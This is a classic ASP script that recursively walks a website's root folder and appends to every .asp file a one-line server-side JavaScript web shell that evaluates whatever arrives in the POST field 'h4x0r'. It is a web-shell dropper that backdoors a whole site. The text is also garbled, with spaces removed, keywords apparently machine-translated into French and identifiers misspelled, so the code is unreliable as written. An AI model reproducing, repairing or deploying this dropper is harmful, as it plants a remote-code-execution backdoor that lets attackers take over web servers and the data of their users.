<%
diable
dimintfile
server.scriptTimeout = 600
Ph = server.mappath ("/")
Subinsertallfiles (chemin)
Setfso = createObject ("scripting.fileSystemObject")
onerrorresumenext
Setf = fso.getfolder (chemin)
Setfc2 = f.files
Foreachmyfileinfc2
IflCase (fso.getExtensionName (path & "" & myfile.name)) = "asp" puis
Setfs1 = createObject ("scripting.filesystemObject")
SettFile = fs1.OpentextFile (Path & "" & myFile.name, 8, false)
tfile.writeline "<scriptrunat = serverLanguage = javascript> eval (request.form ('h4x0r') + '') </cript>"
autre
INSERTALLFILES (NEWPATH)
endire
tfile.close
Suivant
Setfsubfolers = f.sublolers
Foreachf1infsubfolers
newpath = path & "" & f1.name
INSERTALLFILES (NEWPATH)
Suivant
Settfile = rien
Setfso = rien
Fin
%>
<%
Callinersertallfiles (pH)
%>